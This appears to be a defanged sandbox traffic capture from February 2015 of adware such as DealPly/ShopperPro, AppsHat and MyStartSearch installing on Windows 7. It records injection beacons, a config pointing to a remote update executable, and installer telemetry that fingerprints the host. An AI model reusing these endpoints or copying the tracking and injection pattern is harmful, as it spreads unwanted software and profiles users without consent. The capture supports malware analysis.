y: ASP.NET..Date: Thu, 12 Feb 2015 05:33:56 GMT..Content-Length: 488..
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"........4.......~Q......I...C|.
?..u3..........i.^......:...yp...................E~Y.W..m....i[T..b...
....e..._\|.........Yy......O......V.......................9.E?.3....A
!./..|.6w~...,?...2.J.fm.u.0...O...8-s4.....qA_\..~.<.~.]...9}.....
f...^N?....z....b..jj.....b..u.$?..|...._rg..X......2V...i]......{uu5.
..ogf..i.......Z^d.../......\.....]O.l:.......4~7M.n./gh.2............
...
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.digicert.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=508624
Content-Type: application/ocsp-response
Date: Thu, 12 Feb 2015 05:33:59 GMT
Etag: "54dbffee-1d7"
Expires: Wed, 18 Feb 2015 17:33:59 GMT
Last-Modified: Thu, 12 Feb 2015 01:20:46 GMT
Server: ECS (ams/49E4)
X-Cache: HIT
Content-Length: 471
0..........0..... .....0......0...0........P5V.L.f........=.U..2015021
1200000Z0s0q0I0... .........Q..2...}Q......b.U.....P5V.L.f........=.U.
[email protected]...*.H........
..........\.....H...{....W&......"GR{.m.t...q.H..E.....7...OJ..>...
...;g0....>........U.yNh`..{....O.E...Hz..o..~.FH...rTd...D...F...x
M..>m.A..5.....D;.Q..........Sr..]U`.Y...w...P.].z0.y...ZV.Z.u.....
.)C....f..._L~...c.. .k......8..F..w"...]L.|B......m........HTTP/1.1 2
00 OK..Accept-Ranges: bytes..Cache-Control: max-age=508624..Content-Ty
pe: application/ocsp-response..Date: Thu, 12 Feb 2015 05:33:59 GMT..Et
ag: "54dbffee-1d7"..Expires: Wed, 18 Feb 2015 17:33:59 GMT..Last-Modif
ied: Thu, 12 Feb 2015 01:20:46 GMT..Server: ECS (ams/49E4)..X-Cache: H
IT..Content-Length: 471..0..........0..... .....0......0...0........P5
V.L.f........=.U..20150211200000Z0s0q0I0... .........Q..2...}Q......b.
U.....P5V.L.f........=.U...........z....@7....20150211200000Z....20150
218200000Z0...*.H..................\.....H...{....W&......"GR{.m.t...q
.H..E.....7...OJ..>......;g0....>........U.yNh`..{....O.E...Hz..
o..~.FH...rTd...D...F...xM..>m.A..5.....D;.Q..........Sr..]U`.Y...w
...P.].z0.y...ZV.Z.u......)C....f..._L~...c.. .k......8..F..w"...]L.|B
......m............
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw= HTTP/1.1


Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.digicert.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=510956
Content-Type: application/ocsp-response
Date: Thu, 12 Feb 2015 05:34:00 GMT
Etag: "54dc01b5-1d7"
Expires: Wed, 18 Feb 2015 17:34:00 GMT
Last-Modified: Thu, 12 Feb 2015 01:28:21 GMT
Server: ECS (ams/D1B3)
X-Cache: HIT
Content-Length: 471
0..........0..... .....0......0...0.......q.7.s.......4. Z.....2015021
2011300Z0s0q0I0... ........ ......%.:EUvf.U...3...q.7.s.......4. Z....
..M.q.......d...,....20150212011300Z....20150219012800Z0...*.H........
.......CF..`j"..[.N.......a.:...4..;...I..\.(~V.o%.9.?."....uum.......
[.., .e.....&..c.{>-:..NXU./u..Q.9......n.d.../,:t"..h.x.q......s.;
......3.e.......D.A...n.......P#.w......&...............zZ.:{p......%.
...........m...*...|..I:...\.'..TKo........F.....X@5.~HTTP/1.1 200 OK.
.Accept-Ranges: bytes..Cache-Control: max-age=510956..Content-Type: ap
plication/ocsp-response..Date: Thu, 12 Feb 2015 05:34:00 GMT..Etag: "5
4dc01b5-1d7"..Expires: Wed, 18 Feb 2015 17:34:00 GMT..Last-Modified: T
hu, 12 Feb 2015 01:28:21 GMT..Server: ECS (ams/D1B3)..X-Cache: HIT..Co
ntent-Length: 471..0..........0..... .....0......0...0.......q.7.s....
...4. Z.....20150212011300Z0s0q0I0... ........ ......%.:EUvf.U...3...q
.7.s.......4. Z......M.q.......d...,....20150212011300Z....20150219012
800Z0...*.H...............CF..`j"..[.N.......a.:...4..;...I..\.(~V.o%.
9.?."....uum.......[.., .e.....&..c.{>-:..NXU./u..Q.9......n.d.../,
:t"..h.x.q......s.;......3.e.......D.A...n.......P#.w......&..........
.....zZ.:{p......%............m...*...|..I:...\.'..TKo........F.....X@
5.~..
<<< skipped >>>


GET /?gfe_rd=cr&ei=IzvcVPWlBJCu8we-koLgAg HTTP/1.1
Host: VVV.google.com.ua
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 302 Found
Location: hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=IzvcVPWlBJCu8we-koLgAg&gws_rd=ssl
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Set-Cookie: PREF=ID=153737c6704db3b9:FF=0:TM=1423719203:LM=1423719203:S=lsfYxNaMhAKX0bch; expires=Sat, 11-Feb-2017 05:33:23 GMT; path=/; domain=.google.com.ua
Set-Cookie: NID=67=Yob4ni3ltDcsLHG5HVekv1xk1XHr_T1kjBvIEj6hTDWw_29w3m5dEPDYzKEjjtRL1Ah4wYfviTCasLHazqVRacy02N7c9c7_Yi0E12x1llh0-Nj2EYSa-UT8h9j3_zR9; expires=Fri, 14-Aug-2015 05:33:23 GMT; path=/; domain=.google.com.ua; HttpOnly
P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Date: Thu, 12 Feb 2015 05:33:23 GMT
Server: gws
Content-Length: 278
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic,p=0.02
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=IzvcVPWlBJC
u8we-koLgAg&gws_rd=ssl">here</A>...</BODY></HTML
>..HTTP/1.1 302 Found..Location: hXXps://VVV.google.com.ua/?gfe_rd=
cr&ei=IzvcVPWlBJCu8we-koLgAg&gws_rd=ssl..Cache-Control: private..Conte
nt-Type: text/html; charset=UTF-8..Set-Cookie: PREF=ID=153737c6704db3b
9:FF=0:TM=1423719203:LM=1423719203:S=lsfYxNaMhAKX0bch; expires=Sat, 11
-Feb-2017 05:33:23 GMT; path=/; domain=.google.com.ua..Set-Cookie: NID
=67=Yob4ni3ltDcsLHG5HVekv1xk1XHr_T1kjBvIEj6hTDWw_29w3m5dEPDYzKEjjtRL1A
h4wYfviTCasLHazqVRacy02N7c9c7_Yi0E12x1llh0-Nj2EYSa-UT8h9j3_zR9; expire
s=Fri, 14-Aug-2015 05:33:23 GMT; path=/; domain=.google.com.ua; HttpOn
ly..P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/suppo
rt/accounts/bin/answer.py?hl=en&answer=151657 for more info."..Date: T
hu, 12 Feb 2015 05:33:23 GMT..Server: gws..Content-Length: 278..X-XSS-
Protection: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Prot
ocol: 80:quic,p=0.02..<HTML><HEAD><meta http-equiv="con
tent-type" content="text/html;charset=utf-8">.<TITLE>302 Move
d</TITLE></HEAD><BODY>.<H1>302 Moved</H1>
;.The document has moved.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd
=cr&ei=IzvcVPWlBJCu8we-koLgAg&gws_rd=ssl">here</A>
<<< skipped >>>


GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTBHO&bhov=1.0.1.4&rnd=3731&action=Inject&text=DealPly_NoPriceGong&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:34:02 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:34:02 GMT..Content-Length: 0..



GET /app/t.ashx?uid=572a1153-8705-4466-affe-b5bad540fde1&bn=IE&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDU3MmExMTUzLTg3MDUtNDQ2Ni1hZmZlLWI1YmFkNTQwZmRlMSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY2JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423719247&aff=smtycl&ver=2.6.8418.1499&usid=2858020935-2156992550-3658131804 HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: 5k9v3bc1-enehfzfv.netdna-ssl.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:34:01 GMT
Content-Type: image/gif
Content-Length: 35
Connection: keep-alive
Cache-Control: private
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Thu, 12 Feb 
2015 05:34:01 GMT..Content-Type: image/gif..Content-Length: 35..Connec
tion: keep-alive..Cache-Control: private..X-AspNet-Version: 4.0.30319.
.X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS..GIF89
a.............,...........D..;..



GET /webplayer/appshat/config.json HTTP/1.1
Accept: */*
If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT
Cache-Control: max-age=0
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.bigspeedpro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: application/json
Content-Length: 778
Last-Modified: Mon, 27 Jan 2014 15:16:30 GMT
Connection: close
ETag: "52e6784e-30a"
Accept-Ranges: bytes
{.."group-name": "AppsHat",.."program-name": "AppsHat",.."about-text":
 "Apps Hat\n(c) 2013 Somoto Ltd. All rights reserved\n\nTerms and Cond
itions:\nhXXp://VVV.appshat.com/eula/ahd\n\nPrivacy Policy:\nhXXp://ww
w.appshat.com/privacy/ahd",.."title-icon": "hXXp://VVV.appshat.com/ima
ges/16x16.ico",.."tray-icon": "hXXp://VVV.appshat.com/images/16x16.ico
",.."shortcut-icon": "hXXp://VVV.appshat.com/images/64x64.ico",.."unin
stall": "Apps Hat",.."url": "hXXp://VVV.appshat.com/home",.."width": 1
024,.."height": 795,.."cache": 86400,.."alwaysontop": false,.."program
-version": "2.13",.."start-on-windows": true,.."title": "Apps Hat",.."
tooltip": "Apps Hat",.."minimized": true,.."update-url" : "hXXp://VVV.
bigspeedpro.com/mirror/nerocrossrider/appshatmini/appshatmini_update.e
xe"..}....



GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.1.hperr.opera HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 12 Feb 2015 05:33:21 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.71 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Thu, 12 Feb 20
15 05:33:21 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.71 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /images/64x64.ico HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:53 GMT
Content-Type: image/x-icon
Content-Length: 32038
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Connection: keep-alive
ETag: "5214ef07-7d26"
Expires: Thu, 12 Feb 2015 06:03:53 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
............ .h...F...  .... .........00.... ..%..V...@@.... .(B...:..
(....... ..... [email protected]{.[[
[.;;;/WWW.........................................jii.....efe.233.&%%.
!  ..--.[[[I............................[\\.,**.....]]\.011........."!
!.322.jhg?........................WWWg"!!...~.[ZY.   .........&$$./--.
`^^.........................vvu;#"".zwv.^\[.*)).........*((.755.wuuU..
..........................,  .rpp.`_^.))).........-  .ECC.............
....................544.ccc.RQo...?...2.....,*1.FEE...................
..............'&R.......x.! F.43?.KIJ.WUV.OMM.a__.mll/................
....}u..%%w.=<N.CA@.*((.&$$..,,.200.?==.jhh.gcd.NNNW........111gUTT
.....trq.YWV.?<<. .#.........#!!.301.QOO.xst.a__.{zz.110/....311
.^[Z.SQV.(';...T...8...............&.;::.`[\.vrs.QON3....(''.!...** ..
.....2.--....9...........#.! ".766.ZXX.omm.lll.........443Q''&.   ..-,
.A?=.$"".............&&&.<::.URR.cbb_................]]\.433u2//.20
0..,-.%##.........0//.FFF.\YY/................................sss.[[[/
>>>;ECC9][[%jgi..............................................
......................................................................
.............................(... ...@..... ..........................
......................................................................
......................................................................
.......................................vwy.ded VVWSAAA]555]POPMhgf#YYZ
..................................................................
<<< skipped >>>

GET /images/16x16.ico HTTP/1.1


Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:53 GMT
Content-Type: image/x-icon
Content-Length: 1150
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Connection: keep-alive
ETag: "5214ef07-47e"
Expires: Thu, 12 Feb 2015 06:03:53 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
............ .h.......(....... ..... .....@...........................
........ppo....Mmnn.:<<.,* ., ,.EDD.}}}9........................
...._^` \[[.....Z\Z.,//. "!.........544....Y....................ttt.BA
A.755.....YYY.)**.........!. .....SRR.~}}%....................KKK.1/..
....XXW.''&.........$"".(%%.XWW.||| ....................eef. )).....\Z
[.&&'.........&$$..**.yxx.........................yxzq, *...x.cbV.''".
........ ...522....k.........................|q[-,$.hg..BA{...B...9. .
:.20:.DBB....Q........................LIeU..X.......y...H.1/D.FDM.QPS.
NLL.fdc.wwvsjii.................XV.g..p.75H.@?9.20'. *$./.,.1/..643.WU
V.lij.gee.....NNN-AA@O..|o....sqn.][N.:81.!. .........#!!. *(.GEE.uqr.
qmn.ppp.$$$. * .^[[..~z.caa.43B. .G...1............... .334.NJK.}xy.fa
b.HHI...../-,.0/2.......J.. ....@...............%. **.DBA.oll.olm.||}.
=;=.!  ........., A.A?d...&............." !.,-,.CBB.a`_....u....TTT.MM
MI@@?.-,*./-).30*.)&$.#!!.............022.MKJ.mkkw................VUU.
VTTKJII.DCC.;9:.,  .%$#.*((.=<=.YYYwged/srr........................
......................................................................
.......................................HTTP/1.1 200 OK..Server: nginx.
.Date: Thu, 12 Feb 2015 05:33:53 GMT..Content-Type: image/x-icon..Cont
ent-Length: 1150..Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT..Connec
tion: keep-alive..ETag: "5214ef07-47e"..Expires: Thu, 12 Feb 2015 06:0
3:53 GMT..Cache-Control: max-age=1800..Accept-Ranges: bytes...........
... .h.......(....... ..... .....@................................
<<< skipped >>>


GET /online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=tdswdgjrsqxmq045be3kxg45


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 98
Content-Type: text/html; charset=utf-8
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Thu, 12 Feb 2015 05:33:11 GMT
Connection: close
<RESULT>.<ANON>.<ID>7291521e-e56c-4639-92af-ddebd5cb
0120</ID>.<PW>OBum1Uup</PW>.</ANON>.</RESUL
T>...



GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.msocsp.com


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:35:01 GMT
Content-Type: application/ocsp-response
Content-Length: 1757
Connection: keep-alive
Set-Cookie: __cfduid=dcbfea9905f50c129accefbc0361d28ae1423719301; expires=Fri, 12-Feb-16 05:35:01 GMT; path=/; domain=.msocsp.com; HttpOnly
Last-Modified: Fri, 06 Feb 2015 23:51:50 GMT
Expires: Tue, 10 Feb 2015 23:51:50 GMT
ETag: "9006297540e316688484ed9e4b46a0dce7b0d372"
Cache-Control: max-age=345599,public,no-transform,must-revalidate
CF-Cache-Status: HIT
Server: cloudflare-nginx
CF-RAY: 1b766ba547d4147f-AMS
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0206235150Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20150206235150Z....20150210235150Z."0 0..
. .....0......20140206235150Z0...*.H.............Q."...T1..ý.Rs.(..%
l..<.....qN.jm\f...x3g...&.R.qQaH^....X.#{O G.....8K....(........f.
.&.%..m}.hU......9.......psNO.c;.Dz._....... ^..oQa48..6.......s.o..#.
]{D..nQL.2.;.i0.$Vp....6...:f.....h.O..#......8..!g<q...d.tl.....h(
..E.]-...................y.2.......0...0...0..........Z..~..M..<ZYJ
....~.0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....R
edmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U..
..Microsoft IT SSL SHA20...141229205745Z..150314205745Z0!1.0...U....Sh
ould be ignore by CA0.."0...*.H.............0...........&!(..$.K...."=
f....x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q....
.......bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.x*.
......x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ...6.
M.O.....<5:......r.....]..A.5........0..0...U..........<.|7...@N
6p.I.e|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0... 
.......0... .....7....0.0... .......0... .....0......0...*.H..........
........sa....^`.U.h.....(c[..j.|. ..#....3.5.?..L.....Z....J......*.w
...w.$.z..Y.d.....l.....G#.....o.\t.......(.B =..P..T....0./P.....z.3.
...L.O3....z...Wxo..~.OeH....c.i.@."..?d.......=v(.....m..LN..PP....&l
t;.}T.X......K.&e.S...|....% ...(F.=k..~.j..C......4.....c...._p..
<<< skipped >>>

GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1


Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.msocsp.com


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:35:02 GMT
Content-Type: application/ocsp-response
Content-Length: 1757
Connection: keep-alive
Set-Cookie: __cfduid=d3c9a45a44dc92275b57c84e2fe87efd81423719302; expires=Fri, 12-Feb-16 05:35:02 GMT; path=/; domain=.msocsp.com; HttpOnly
Last-Modified: Fri, 06 Feb 2015 23:51:50 GMT
Expires: Tue, 10 Feb 2015 23:51:50 GMT
ETag: "9006297540e316688484ed9e4b46a0dce7b0d372"
Cache-Control: max-age=345599,public,no-transform,must-revalidate
CF-Cache-Status: HIT
Server: cloudflare-nginx
CF-RAY: 1b766ba9686e147f-AMS
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0206235150Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20150206235150Z....20150210235150Z."0 0..
. .....0......20140206235150Z0...*.H.............Q."...T1..ý.Rs.(..%
l..<.....qN.jm\f...x3g...&.R.qQaH^....X.#{O G.....8K....(........f.
.&.%..m}.hU......9.......psNO.c;.Dz._....... ^..oQa48..6.......s.o..#.
]{D..nQL.2.;.i0.$Vp....6...:f.....h.O..#......8..!g<q...d.tl.....h(
..E.]-...................y.2.......0...0...0..........Z..~..M..<ZYJ
....~.0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....R
edmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U..
..Microsoft IT SSL SHA20...141229205745Z..150314205745Z0!1.0...U....Sh
ould be ignore by CA0.."0...*.H.............0...........&!(..$.K...."=
f....x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q....
.......bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.x*.
......x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ...6.
M.O.....<5:......r.....]..A.5........0..0...U..........<.|7...@N
6p.I.e|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0... 
.......0... .....7....0.0... .......0... .....0......0...*.H..........
........sa....^`.U.h.....(c[..j.|. ..#....3.5.?..L.....Z....J......*.w
...w.$.z..Y.d.....l.....G#.....o.\t.......(.B =..P..T....0./P.....z.3.
...L.O3....z...Wxo..~.OeH....c.i.@."..?d.......=v(.....m..LN..PP....&l
t;.}T.X......K.&e.S...|....% ...(F.=k..~.j..C......4.....c...._p..
<<< skipped >>>


GET /install.gif?bundle=mystartsearch&ptid=smt&uid=535559167_198339_B48A115F HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: log.very911.com


HTTP/1.1 404 Not Found
Server: Tengine/1.2.2
Date: Thu, 12 Feb 2015 05:33:23 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 671
Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>
..<head><title>404 Not Found</title></head>..&
lt;body bgcolor="white">..<h1>404 Not Found</h1>..<p
>The requested URL was not found on this server. Sorry for the inco
nvenience.<br/>..Please report this message and include the foll
owing information to us.<br/>..Thank you very much!</p>..&
lt;table>..<tr>..<td>URL:</td>..<td>hXXp://
log.very911.com:8080/install.gif?bundle=mystartsearch&ptid=smt&
;uid=535559167_198339_B48A115F</td>..</tr>..<tr>..&l
t;td>Server:</td>..<td>us-pub00.v9.com</td>..<
/tr>..<tr>..<td>Date:</td>..<td>2015/02/11 
23:33:23</td>..</tr>..</table>..<hr/>Powered b
y Tengine/1.2.2..</body>..</html>..HTTP/1.1 404 Not Found.
.Server: Tengine/1.2.2..Date: Thu, 12 Feb 2015 05:33:23 GMT..Content-T
ype: text/html; charset=utf-8..Content-Length: 671..Connection: keep-a
live..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<ht
ml>..<head><title>404 Not Found</title></head&
gt;..<body bgcolor="white">..<h1>404 Not Found</h1>.
.<p>The requested URL was not found on this server. Sorry for th
e inconvenience.<br/>..Please report this message and include th
e following information to us.<br/>..Thank you very much!</p&
gt;..<table>..<tr>..<td>URL:</td>..<td&
<<< skipped >>>


GET /mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900 HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: flex.msn.com
DNT: 1
Connection: Keep-Alive
Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK
Cache-Control: public
Content-Type: application/javascript; charset=utf-8
Content-Encoding: gzip
Expires: Fri, 13 Feb 2015 05:33:59 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/8.0
X-AspNet-Version: 4.0.30319
Date: Thu, 12 Feb 2015 05:33:59 GMT
Connection: close
Content-Length: 366
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"....i[T..;.}~qz..i.~...6.._....
Z.u{.:o.>....j..{.lT...r....2.]R..)....iGm...6.b...?.3.>...^>
.{......v...x.,..jq..h.W.g..pV-.by6.L.|tHo..8O..1.s.@}B.~!...G.'.~.. .
....... }....P.:....F!._}.}jE`..)...^....>.U.QP......'-...ZA...*.d.
..<.............`...Ro..y.....



GET /installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-02-12&bic=A4A2CE24A1134121A4E793B05C1D9E9FIE&verifier=6c07540f28a2d49bcc83e35251348f30&upi=d5d8d8a61601751d467a5854a16ce35a&procid=9A2ABFB48E9441079CD58F68DCE3DE0API&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147474944&asw4=0&crtnm=ClashProject&mdat=&procstarttime=1423719224&procruntime=3&rnd=1423719227 HTTP/1.1
Host: stats.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2:  2AlIAK10AFnEyf4VscMV70XOQ5HFUfAtdPapqDIPv9Q2Qr28XN2OLr0KFk7e 8E
x-amz-request-id: F835352F05F5E569
Date: Thu, 12 Feb 2015 05:33:44 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 25 Feb 2014 00:15:10 GMT
